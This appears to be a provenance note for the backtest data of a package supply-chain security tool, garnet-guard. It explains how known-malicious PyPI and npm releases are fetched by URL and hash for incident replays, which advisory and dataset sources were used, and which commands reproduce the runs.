Malicious files are not hosted here. The PyPI replay fetches them from files.pythonhosted.org by URL and SHA-256, listed in backtest/incidents.toml, with hashes from the PyPI snapshots in DataDog's malicious-software-packages-dataset and from the package_integrity records in the OSV advisories. For the 21 releases with no PyPI snapshot, the upload day comes from the advisory and the wheel's own timestamps. The npm replays use the registry facts recorded in backtest/npm-incidents.toml from the public write-ups cited there. Advisories are from OSV. The everyday-update reports and their triage files are in the tool repository under backtest/. Reproduce the replay with uv run python -m backtest incidents and the everyday run with uv run python -m backtest corpus pypi 1000 and corpus npm 1000.
Replay output: 2026-10-30.txt (uv run python -m backtest incidents, garnet-guard main at 42547f6, cloud container, 2026-10-30)